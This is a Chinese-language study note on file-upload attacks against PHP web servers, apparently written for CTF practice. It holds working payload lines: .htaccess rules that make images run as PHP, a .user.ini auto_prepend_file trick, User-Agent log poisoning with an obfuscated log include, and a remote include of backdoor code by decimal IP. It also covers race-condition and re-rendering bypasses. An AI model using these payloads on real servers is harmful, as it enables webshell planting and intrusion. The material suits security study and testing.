文件上传
在已有文件上传知识上做的一些补充
- .htaccess文件
或者”分布式配置文件“,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config,则可以在服务器配置文件中按以下方法配置:AccessFileName.config。
它里面有这样一段代码:AllowOverride None,把None改成All
常见的配法有以下几种:
Sethandler application/x-httpd-php |
Sethandler
将该目录及子目录的所有文件均映射为php文件类型
Addhandler
使用php5-script处理器来解析所匹配到的文件
AddType
将特定拓展名文件映射php文件类型
举例:
<FilesMatch "jpeg">
SetHandler application/x-httpd-php
</FilesMatch>他会将后缀名为jpg的文件当作php文件解析
或者.htaccess写成
AddType application/x-httpd-php jpg以php解析.htaccess文件所在目录及其子目录中的后缀为.xxx的文件
- .user.ini
php的配置文件,.user.ini中的字段也会被php视为配置文件来处理,从而导致php的文件解析漏洞。但是想要引发.user.ini解析漏洞需要三个前提条件
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
创建一个.user.ini文件
auto_prepend_file=shell.jpg |
意思是:所有的php文件都自动包含mm.jpg文件
- 执行运算符
PHP将尝试将反引号中的内容作为shell命令来执行,使用反引号运算符的效果与函数shell_exec()相同
`tac ../f*` |
- 补充
- 绕过姿势
<script language="php">echo'1';</script> |
- 先访问一个地址,UA头改为后门代码,后门代码就会进入到日志里面,再利用.user.ini包含日志文件来触发访问UA头里的后门代码
<?=include"/var/lo"."g/nginx/access/lo"."g"?> |
-
.user.ini包含远程png
png include带有后门代码的远程地址
IP转数字
.user.ini:auto_prepend_file=png
png:<?=include'http://3232235777'> -
条件竞争
遇到文件删除时有两种情况
-
什么都删除
上传成功后,没有删除之前,文件会在这个时间段存活,然后代码立马删掉,这个时间点文件确实是上传成功了,只是快速的让你看不到而已,所以我们就在没有上传之前就不断发包,一直访问地址,当文件被创建后,就触发代码,让它创建一个文件
-
后门代码删除
条件竞争:在上传成功,立马访问,创建新代码(代码被执行后重新新建一个文件)
-
-
二次渲染
把上传的图像进行了加工,手工注入需要把后门代码写到共同体中去
- 二次渲染判定
- 判断上传前后大小及内容
- 判断上传后的文件返回数据包
ctfshow Web164中满足了PHP文件引入图片
xxx.php?image=yyy.png
假如是类似于upload/yyy.png,图片中即使带有后门代码也不能被调用,还需上传.user.ini
如果是JPG,访问返回包,发现
gd-jpeg v1.0 (using IJG JPEG v80)
,即调用PHP内置的库来处理JPG进行二次渲染 - 二次渲染判定
PHP一句话木马,后缀.php→上传成功,直接利用
后缀是.jpg图片文件,无法直接利用
后缀是.jpg图片文件+文件包含→上传成功,直接利用
中间件解析&编辑器安全
IIS和Apache漏洞举例前文已提,此处不再赘述
- 黑盒
寻找一切存在文件上传的功能应用
- 个人用户中心是否存在文件上传功能
- 后台管理系统是否存在文件上传功能
- 字典目录扫描探针文件上传构造地址
- 字典目录扫描探针编辑器目录构造地址
- 白盒
看三点:中间件、编辑器、功能代码
- 中间件直接看语言环境常见搭配
- 编辑器直接看目录结构或搜索关键字
- 功能代码直接看源码应用或搜索关键字